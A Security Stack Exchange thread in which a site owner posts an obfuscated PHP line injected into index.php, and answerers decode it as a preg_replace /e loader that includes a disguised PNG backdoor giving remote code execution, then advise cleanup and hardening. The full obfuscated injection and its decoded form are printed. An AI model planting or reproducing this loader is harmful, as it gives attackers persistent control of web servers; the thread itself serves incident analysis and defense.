I just noticed that the top line of my index.php file got changed to what's below.

<?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77","\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41"); ?>

This looks very suspicious to me, and I know generally what preg_replace does. However, I don't know how to decode the subject, pattern, or replacement strings.

Can anyone tell me

  1. What this code actually will do?
  2. How it's possible that a supposedly locked PHP file can get updated on the server?
  • 22
    Usually, these kind of scripts are basic webshells, providing a backdoor into the system for an attacker. There are many ways in which it could have been uploaded - see security.stackexchange.com/questions/39231/… for the next steps to take.
    – Matthew
    Commented Feb 17, 2016 at 17:20
  • 5
    OK, I posted the raw code here: mitzvahcircle.org/codetext.txt
    – Scott
    Commented Feb 17, 2016 at 17:50
  • 5
    Paste the contents of this file: /home4/mitzvahc/public_html/assets/img/logo_small.png Commented Feb 17, 2016 at 18:43
  • 68
    To be totally correct, this isn't really an attempt - the hacker was successful already.
    – Sebb
    Commented Feb 17, 2016 at 20:23
  • 16
    Hack "attempt"? No, you were successfully hacked. Commented Feb 18, 2016 at 1:43

5 Answers 5


What will this code actually will do?

You have a backdoor that allows Remote Code Execution


Credit to borjab for the inital decode

<?php preg_replace("#(.+)#ie",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

Note this base64 encoded string we found in the first file:


When decoding that string, it points to this file:


The "image" file is not what it seems to be.

kayge pointed out that the file is obviously accessible online. So I downloaded your "image", which is where the real hack is happening. The first script is trying to load the content's of that image.

Inside the pretend image, there are two eval() statements which allow full arbitrary code execution when checking $GLOBALS[ooooOOOOo(0)].

This only happens if the attacker attempts to set that variable. 99% of the time when you see eval(), all you really need to know is that your entire web server is compromised by remote code execution. Here's what it's doing:


Of course, you were already compromised through some form of exploit, but this gives the attacker an obfuscated backdoor into your web server that they can continually access, even if you were to patch the problem allowing them to write files in the first place.

What are the evil gunzip contents?

  1. You can see them here.
  2. Inside the above, here's another encoding dump (Thanks, Technik Empire)
  3. Technik Empire just greatly contributed to the deobfuscation of the contents in #2.
  4. nneonneo cleaned it up even more.

Why is this happening?

How it's possible that a supposedly locked PHP file can get updated on the server?

This is too broad to answer without having access to everything. You may have incorrect hardening on your Content Management System installation, or there may be a vulnerability somewhere in your web stack. I don't care to visit your website considering what's going on, so you can check these links if they're part of your CMS:

  1. Joomla Security Checklist
  2. WordPress Hardening
  3. Django Deployment Checklist

If your CMS isn't listed, look for hardening/security checklists for your CMS installation. If you are not using a CMS, but rather your own code, then it's on you to fix your security holes.

There could be any number of reasons why this is happening... but the bottom line is: either your web host has been hacked, or you have an exploit on your website which allows malicious individuals to insert additional code and give them full control over your website... meanwhile, they are attacking your visitors.

  • 18
    "your entire web server is compromised by remote code execution:" - this was known already without eval. Commented Feb 17, 2016 at 19:52
  • 9
    Indeed I'd back up critical files, keep a download of the hack and generate a few sigs for clamav and run a scan on all the files you absolutely had to keep. Even then you can't be sure. I manually checked a server I recovered recently and had to generate several sigs for previously undetected php exploits. After generating the sigs, I turned up nearly 1000 infected files. You can never be sure.
    – user7933
    Commented Feb 17, 2016 at 19:54
  • Let us continue this discussion in chat.
    – user7933
    Commented Feb 17, 2016 at 20:39
  • 2
    I cleaned up the code and deobfuscated the numbers too: pasted.co/70105924. This should make it pretty clear what it's doing.
    – nneonneo
    Commented Feb 20, 2016 at 18:28
  • 4
    +1. If I could, I would give you +10 only for that bald guy image.... Commented Feb 21, 2016 at 16:18

The short answer is: if the code was added by someone you don't know, then it's malicious, doesn't really matter what it does.

Your server has been compromised and you need to perform a full clean up.

As for how it got added, there is no way for us to know without a full investigation of your server.

  • 1
    Even though I consider @schroeder my arch-nemesis when it comes to these questions, he's exactly right. This is especially true for any kind of obfuscated code, really. I would love to deobfuscate this, though. :> Commented Feb 17, 2016 at 17:59
  • 3
    My BIG question is how are these files getting onto the server? I'm the only one with FTP / SSH access. However, I am on a shared web host. My understanding was that each client was firewalled from the others, though. Could I protect myself by chmod'ing files / directories?
    – Scott
    Commented Feb 17, 2016 at 18:05
  • 6
    @Scott As I think you've figured out, a cleanup is more than just removing the extra code. You should assume that the attacker used that code as an entry point to plant a persistent back door, and now has full access / control of your server. Commented Feb 17, 2016 at 18:07
  • 4
    @Scott Please paste the contents of /home4/mitzvahc/public_html/assets/img/logo_small.png. I'm so anxious to see it I want to scream! Commented Feb 17, 2016 at 19:18
  • 5
    The contents of /home4/mitzvahc/public_html/assets/img/logo_small.png are here: pastebin.com/Nk6PZ069
    – Scott
    Commented Feb 17, 2016 at 21:49

A PHP file was modified, so you have encountered much more than a hacking attempt.

The machine is compromised.

You need a clean OS install; and to reload your site code from development (or some other backup).

If you have the time, and are paranoid, it would probably be worth considering that your database might contain XSS attack code that might be unleashed on your end users.

  • 3
    Well, this web site is running on a shared server, over which I have no control. I can't ask the hosting company to do a clean OS install. So what are my options? Sounds like it's not sufficient to just blow away all files and directories in my account, then re-upload the site. Do I just need to put the site on a new hosting account?
    – Scott
    Commented Feb 17, 2016 at 21:53
  • 14
    As far as your site is concerned, all you can do is what you've said, "blow away all files and reupload" ... but you should do 2 things first: 1. Find the hole and close it if possible. Your site's code should be thoroughly examined. However, realize that it may be possible that someone ELSE's site was compromised and you're a victim of THEIR bad luck. 2. DTRT! Contact your hosting svc & inform them! They should take you seriously; after all, since it's a shared machine, > 1 of their customers will be affected. If they don't take you seriously... it IS time to find a new host. Commented Feb 17, 2016 at 22:22
  • 2
    @Scott In this case deleting all of your files will get you back to a security level comparable with normal shared service. Any user of the machine might be malicious and could attempt privilege escalation at any time, so it is probably futile to wonder if this attacker attempted it too. Have you considered hosting where you get a private VM? AWS has some pretty affordable options. Commented Feb 18, 2016 at 17:15

It seems this code offuscates the following codeby using the XOR operator on two Strings as binaries:

<?php preg_replace("#(.+)#ie", 
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

You can test it in a PHP sandbox. The large string generated above is a base64 encoded string:


Why is it using preg_replace? There seems to be a security problem that allows code execution but it could be just for code obfuscation.

  • 1
    Good job, sir. I edited your post a little to remove some errors and add another reference, but you actually taught me something. :] Commented Feb 17, 2016 at 18:36
  • 3
    It's using preg_replace for obfuscation. The real problem is the include_once("/home4/mitzvahc/public_html/assets/img/logo_small.png"), and I bet it's a PHP shell.
    – ThoriumBR
    Commented Feb 17, 2016 at 18:55
  • 2
    @ThoriumBR Yep, I want to see what's in that "png" file. Commented Feb 17, 2016 at 19:03
  • 8
    preg_replace is definitely not just for obfuscation, it's needed to execute the include (via the e modifier, which does indeed allow code execution, in this case the execution of the include; without it, nothing would happen).
    – tim
    Commented Feb 17, 2016 at 19:43
  • 2
    Regarding the e modifier... if you are running PHP 5.5 with full error reporting then you'll be flooded with a lot of E_DEPRECATED warnings (an early warning signal that something is up!). On PHP 7 this will fail since the e modifier has been removed.
    – MrWhite
    Commented Feb 19, 2016 at 21:05

In this case, yes however not all cases. I know some people will come across this question so this answer is intended for a broader audience:

Web hosts do some funky things and I've had a lot of web hosts. You may want to resolve the file temporarily until you've had a chance to call up your web host and determine whether they had anything to do with it or not.

There are apparently a few ways to hack PHP including one that lets you gain access to everything on the server outside of your account's path (on shared hosting in example) and you'd be able to see other people's code so it is possible sometimes that your account can be hacked to look at another account's code which is another reason to avoid shared hosting if you can afford to.

By default presume it's not a safe file and either move or rename it until you can confirm with your web host.

Not the answer you're looking for? Browse other questions tagged .